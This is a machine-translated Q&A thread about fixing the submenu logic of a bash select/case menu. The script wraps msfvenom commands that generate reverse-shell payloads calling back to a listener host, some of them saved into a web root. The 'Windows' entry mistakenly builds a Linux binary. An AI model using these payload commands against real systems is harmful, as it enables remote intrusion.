2017-08-31 77 views
0

我有一个多选菜单。菜单中的菜单,然后我喜欢让脚本做“什么”,我选择第二个选项后告诉它。在这种情况下,我使用msfvenom来生成不同类型的shell。而最后一个问题是,当我选择第一个号码时,它会跳到右侧的子菜单,但是我选择了第二个号码,而不是跳入“Web Shells”,它仍然跳入第一个菜单。 PS:这工作得很好,如果我不使用子菜单,基于here选择后用命令多选菜单

#!/bin/bash 
clear ; 
echo 'Choose a Shell type' 

select shell in Binaries Web Scripting Shellcode 
do 
    case $shell in 
    Binaries|Web|Scripting|Shellcode) 
      break 
      ;; 
    *) 
      echo "Invalid Shell" 
      ;; 
    esac 
done 
clear ; 
# Binaries Shells 
echo 'Now pick a platform based on the number you chose' 
select binaries in Linux Windows MacOS 
do 
    case $binaries in 
    Linux|Windows|MacOS) 
    # Linux 
    msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=222 -b \x00 -f elf -o /var/www/html/lrs_x86 
    # Windows 
    msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=222 -b \x00 -f elf -o /var/www/html/win_rs_x86 
    # MacOS 
    msfvenom -p osx/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=222 -f macho > shell.macho 
      break 
      ;; 
    *) 
      echo "Invalid option" 
      ;; 
    esac 
done 
# Web Shells 
select web in PHP ASP JSP WAR 
do 
    case $web in 
    PHP|ASP|JSP|WAR) 
      break 
      ;; 
    *) 
      echo "Invalid option" 
      ;; 
    esac 
done 

而且,如果我做这个东西的工作,身份证只是不停地加入一些更晚

回答

0

添加条件语句 到解决[

当我选择1号就跳转到正确的子菜单,但我却选择了 2号,而不是跳进“网壳”,它仍然 跳进第一菜单

]

#!/bin/bash 
clear ; 
echo 'Choose a Shell type' 
opt="" 
select shell in Binaries Web Scripting Shellcode 
do 
    opt="$shell" 
    case $shell in 
    Binaries|Web|Scripting|Shellcode) 
      break 
      ;; 
    *) 
      echo "Invalid Shell" 
      ;; 
    esac 
echo $shell 
done 
clear; 

if [ "$opt" = "Binaries" ]; then 
# Binaries Shells 
echo 'Now pick a platform based on the number you chose' 
select binaries in Linux Windows MacOS 
do 
    case $binaries in 
    Linux|Windows|MacOS) 
    # Linux 
    msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=222 -b \x00 -f elf -o /var/www/html/lrs_x86 
    # Windows 
    msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=222 -b \x00 -f elf -o /var/www/html/win_rs_x86 
    # MacOS 
    msfvenom -p osx/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=222 -f macho > shell.macho 
      break 
      ;; 
    *) 
      echo "Invalid option" 
      ;; 
    esac 
done 
clear; 

fi 

if [ "$opt" = "Web" ] || [ "$opt" = "Binaries" ]; then 
# Web Shells 
select web in PHP ASP JSP WAR 
do 
    case $web in 
    PHP|ASP|JSP|WAR) 
      break 
      ;; 
    *) 
      echo "Invalid option" 
      ;; 
    esac 
done 
clear; 

fi 

假设如果u有很多选择A,B,C,d,E,F和采摘一个 选项后,说C和你想从那里导航到d,之后到E d,F E.之后而不是使用逻辑运算符的多个的 倍有一个标志从所选择的选项

#!/bin/bash 
clear ; 
echo 'Choose a Shell type' 
opt="" 
flag=false 
设置为真210

E.g,

if [ "$opt" = "Web" ] || [ "$flag" = true ]; then 
flag=true 
//your code here 
+0

哦,这是真棒,行之有效!谢谢。我是否也可以对我的“msfvenom”选项使用相同的方法?假设在子菜单中“1)Binaires”我有3个选项,根据我将从子菜单中选择的数量,它会去并分配任何分配的数量。现在只需要在命令后面输入命令 – Petr

+0

是的,例如,如果[“$ binaries”=“MacOS”];然后 //你的命令在这里 fi [看看elif语句,因为你会从3个选项中只选择一个] 谢谢 –

+0

谢谢,那正是我想要的:)它工作 – Petr